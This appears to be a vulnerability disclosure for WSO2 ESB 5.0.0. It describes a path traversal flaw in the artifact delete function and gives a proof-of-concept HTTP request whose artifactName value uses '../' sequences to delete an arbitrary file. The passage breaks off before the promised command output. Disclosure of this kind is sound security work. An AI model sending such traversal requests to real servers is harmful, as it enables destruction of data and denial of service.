WSO2 ESB Disclosures

Version 5.0.0

Environment:

- WSO2 ESB 5.0.0
- OpenJDK 1.8.0_252
- Ubuntu Linux

Findings:

1. WSO2-2021-1260: Deletion of Arbitrary files via Path Traversal in Artifact Name

Description:

The Artifact ESB "Delete" function in WSO2 accepts unsanitized file names in the "artifactName" parameter. By using path traversal in the parameter, an attacker can delete arbitrary files. In a theoretical scenario this may lead to the unavailability/DoS of the WSO2 application by deleting core files and/or loss of work.

Proof of Concept:

For this PoC we will create the file "/tmp/to_delete" and delete it using the following HTTP Request:

```
POST /carbon/artifactuploader/remove-artifact-ajaxprocessor.jsp HTTP/1.1
Host: 192.168.243.180:9443
X-Requested-With: XMLHttpRequest, XMLHttpRequest
X-CSRF-Token: SW***TRUNCATED***UC
Content-Length: 56
Cookie: JSESSIONID=2D***TRUNCATED***48

artifactName=../../../../../../../../../../../tmp/to_delete
```

We can see that the first "ls", executed before the request, returns information about the file, but the second (post-request) "ls" gives an error because the file was deleted: